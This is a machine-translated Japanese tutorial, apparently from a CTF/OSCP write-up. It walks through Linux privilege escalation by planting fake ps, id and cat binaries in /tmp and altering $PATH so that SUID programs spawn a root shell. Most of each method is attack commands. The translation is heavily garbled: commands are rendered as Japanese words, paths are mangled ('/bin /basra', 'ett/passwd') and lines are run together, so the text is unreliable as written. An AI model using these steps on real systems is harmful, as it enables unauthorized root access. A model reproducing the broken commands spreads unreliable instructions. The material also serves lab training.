0x00はじめに
いくつかのOSCPの課題を解決した後、Linuxの許可アップグレードのためのさまざまな方法に関する記事を書くことにしました。この記事では、「$ PATH変数を使用するさまざまな方法」を学び、リモートホストへのルートアクセスを獲得します。CTFチャレンジで使用される手法は、許可のエスカレーションにつながる$ PATHの脆弱性を生成します。この記事を読むことで、CTF後の搾取の課題を解決した場合、許可のエスカレーションにつながるいくつかの脆弱性を認識します。
0x001パス変数の概要
パスは、すべての実行可能プログラムを保存するすべてのBINおよびSBINディレクトリを指定するLinuxおよびUNIXオペレーティングシステムの環境変数です。ユーザーがターミナルでコマンドを実行すると、ユーザーが実行したコマンドに応じてパス変数の助けを借りて実行可能ファイルを検索するようにシェルを要求します。また、スーパーユーザーは通常、 /sbinおよび /usr /sbinの権限を持っています。システム管理コマンドを簡単に実行します。
Echoコマンドの助けを借りて、関連するユーザーのパスを表示するのは非常に簡単です。
エコー$パス
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/games
「。」に気づいた場合シンボル、次に環境パス変数で、ログインしたユーザーが現在のディレクトリからバイナリファイルとスクリプトを実行できることを意味します。これは、攻撃者がルート許可を増やすための優れた手法です。これは、プログラムを作成する際の注意が不足しているためであるため、管理者はプログラムへの完全なパスを指定しません。
0x03パス変数重み付け方法1
1.Ubuntu実験設定
現在、 /home /rajディレクトリで、名前がスクリプトとして新しいディレクトリを作成します。スクリプトディレクトリで、システムバイナリファイルに関数を呼び出す小さなCプログラムを書きます。
PWD
mkdirスクリプト
CDスクリプト
Nano Demo.C
demo.cファイルでわかるように、システムバイナリであるPSコマンド(プロセス状態)を呼び出しています。
次に、GCCを使用してdemo.cファイルをコンパイルし、suid許可を高めてファイルをコンパイルします
ls
gcc demo.c -oシェル
Chmod u+sシェル
ls -laシェル
2。許可強化
最初に、ターゲットシステムを攻撃してから、アクセス許可エスカレーション段階に入る必要があります。通常のユーザーを使用して、SSHを介して被害者のホストに正常にログインするとします。その後、時間を無駄にせずに、Findコマンドの助けを借りて、SUIDまたは4000のアクセス許可を使用してファイルを検索します。
find/-perm -u=s -type f 2/dev/null
したがって、上記のコマンドの助けを借りて、攻撃者は実行可能ファイルを列挙することができます。ここでは、/home/raj/script/shellがsuid許可を持っていることもわかります。
次に、/home/raj/scriptディレクトリに移動し、実行可能ファイル「シェル」が表示されます。このファイルを実行すると、このファイルがPSを実行しようとしているように見えます。これは、プロセス状態を取得するために /bin内の実際のファイルです。
ls。/シェル
(1)エコーコマンド:ルート許可を生成する最初の手法
CD /TMP
echo '/bin/bash' ps
CHMOD 777 PS
エコー$パス
エクスポートパス=/TMP: $パス
CD/HOME/RAJ/スクリプト。/シェル
おっと
(2)コマンドコマンド - ルート許可を生成するための2番目の手法
CD/home/raj/script/
CP /BIN /SH /TMP /PS
エコー$パス
エクスポートパス=/TMP: $パス。/シェル
おっと
(3)symlinkコマンド - ルート権限を生成するための3番目の手法
LN -S /BIN /SH PS
エクスポートパス=. $パス。/シェル
id
おっと
注:Symlinkはシンボリックリンクとも呼ばれ、ディレクトリに実行権限がある場合、正常に実行されます。 UbuntuのSymlinkの場合、 /Script Directoryに777の権限を与えました
そのため、攻撃者は環境変数パスを使用してアクセス許可をエスカレートし、ルートアクセスを獲得できることがわかります。
0x04パス変数重み付け方法2
1.Ubuntu実験設定
上記の同じ手順を繰り返して、独自の実験を構成します。スクリプトディレクトリで、システムバイナリファイルに関数を呼び出す小さなCプログラムを書きます。
PWD
mkdirスクリプト
CD /スクリプト
nano test.c
test.cファイルでわかるように、IDコマンド、つまりシステムバイナリを呼び出しています。
次に、GCCを使用してtest.cファイルをコンパイルし、SUID許可を拡大してコンパイルされたファイル
ls
gcc test.c -o shell2
chmod u+s shell2
LS -LAシェル2
2. permission Enhancement
同様に、ターゲットシステムを攻撃してから、特権エスカレーション段階に入る必要があります。通常のユーザーを使用して、SSHを介して被害者のホストに正常にログインするとします。その後、時間を無駄にせずに、Findコマンドの助けを借りて、SUIDまたは4000のアクセス許可を使用してファイルを検索します。ここでは、/home/raj/script/shell2がSUID許可を持っているかどうかを確認できます。
find/-perm -u=s -type f 2/dev/null
次に、/home/raj/scriptディレクトリに移動し、実行可能ファイル「shell2」を表示します。したがって、このファイルを実行すると、Shell2がIDを実行しようとしているように見えます。これは /binの実際のファイルです。
cd/home/raj/script/
ls
./shell2
(1)エコーコマンド
CD /TMP
echo '/bin/bash' id
CHMOD 777 ID
エコー$パス
エクスポートパス=/TMP: $パス
CD/HOME/RAJ/スクリプト
./shell2
おっと
0x05パス変数電源エレベーション法3
1.Ubuntu実験設定
上記の手順を繰り返して、独自の実験を設定します。 raj.cファイルでわかるように、catコマンドを呼び出して、ett/passwdファイルからその内容を読み取ります。
次に、GCCを使用してraj.cファイルをコンパイルし、コンパイルされたファイルにSUID許可を伸ばします。
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj
2. permission Enhancement
被害者のシステムを再度攻撃し、許可アップグレード段階に入力します。次のコマンドを実行して、sudoユーザーリストを表示します。
find/-perm -u=s -type f 2/dev/null
ここでは、/home/raj/script/rajがSUID許可を持っていることも確認できます。その後、/home/raj/scripディレクトリに移動し、実行可能ファイル「Raj」を表示します。したがって、このファイルを実行すると、ett/passwdファイルの内容が表示されます。
cd/home/raj/script/
ls
./raj
(1)Nano Editor:4番目の許可拡張技術
CD /TMP
ナノ猫
さて、ターミナルが開いて /bin /basraを入力したら、保存します
CHMOD 777 CAT
ls -al cat
エコー$パス
エクスポートパス=/TMP: $パス
CD/HOME/RAJ/スクリプト
./raj
おっと
0x06パス変数重み付け方法4
1.Ubuntu実験設定
上記の手順を繰り返して、独自の実験を設定します。 demo.cファイルでわかるように、catコマンドを呼び出して /home /rajにあるmsg.txtコンテンツを読みますが、 /home /rajにそのようなファイルはありません。
次に、GCCを使用してdemo.cファイルをコンパイルし、SUID許可を高めてファイルをコンパイルします
ls
gcc demo.c -o Ignite
chmod u+s Ignite
ls -la Ignite
2. permission Enhancement
被害者のシステムを再度攻撃し、許可アップグレード段階に入力します。次のコマンドを実行して、sudoユーザーリストを表示します。
find/-perm -u=s -type f 2/dev/null
ここでは、/home/raj/script/Igniteにsuid許可があることも確認できます。その後、/home/raj/scripディレクトリに移動して、実行可能ファイル「Ignite」が表示されます。そのため、このファイルを実行すると、結果としてエラー「CAT:/home/home/raj/msg.txt」が出力されます。
cd/home/raj/script/
ls。/発火
(1)VI編集者 - 5番目の許可エンハンスメントテクノロジー
CD /TMP
vi猫
さて、ターミナルが開いて /bin /basraを入力したら、保存します
CHMOD 777 CAT
エコー$パス
エクスポートパス=/TMP: $パス
CD/HOME/RAJ/スクリプト。/発火
おっと